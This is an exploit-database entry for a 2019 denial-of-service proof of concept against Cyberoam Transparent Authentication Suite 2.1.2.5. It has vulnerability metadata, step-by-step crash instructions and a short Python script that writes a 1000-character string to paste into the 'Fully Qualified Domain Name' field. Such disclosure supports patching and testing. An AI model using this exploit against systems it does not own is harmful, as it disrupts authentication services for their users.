Cyberoam Transparent Authentication Suite 2.1.2.5 - 'Fully Qualified Domain Name' Denial of Service (PoC)

vendor:

Cyberoam Transparent Authentication Suite

by:

Victor Mondragón

7.8

CVSS

HIGH

Denial of Service

400

CWE

Product Name: Cyberoam Transparent Authentication Suite

Affected Version From: 2.1.2.5

Affected Version To: 2.1.2.5

Patch Exists: YES

Related CWE: N/A

CPE: a:cyberoam:cyberoam_transparent_authentication_suite

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 7 Service Pack 1 x64

2019

Cyberoam Transparent Authentication Suite 2.1.2.5 – ‘Fully Qualified Domain Name’ Denial of Service (PoC)

A denial of service vulnerability exists in Cyberoam Transparent Authentication Suite 2.1.2.5 when a maliciously crafted 'Fully Qualified Domain Name' is supplied. An attacker can leverage this vulnerability to crash the application, resulting in a denial of service condition.

Mitigation:

Upgrade to the latest version of Cyberoam Transparent Authentication Suite.

Source

Exploit-DB raw data:

#Exploit Title: Cyberoam Transparent Authentication Suite 2.1.2.5 - 'Fully Qualified Domain Name' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-23
#Vendor Homepage: https://www.cyberoam.com
#Software Link: https://download.cyberoam.com/solution/optionals/i18n/CTAS%202.1.2.5%20Release.zip
#Tested Version: 2.1.2.5
#Tested on: Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: ctas_fqdn_2.1.2.5.py
#2.- Open ctas_fqdn_2.1.2.5.txt and copy content to clipboard
#3.- Open Cyberoam Transparent Authentication Suite
#4.- Select General > in Domain Type select "Microsoft Active Directory"
#5.- In "Fully Qualified Domain Name" paste Clipboard
#6.- Click on "Apply"
#7.- Crashed! 

cod = "\x41" * 1000

f = open('ctas_fqdn_2.1.2.5.txt', 'w')
f.write(cod)
f.close()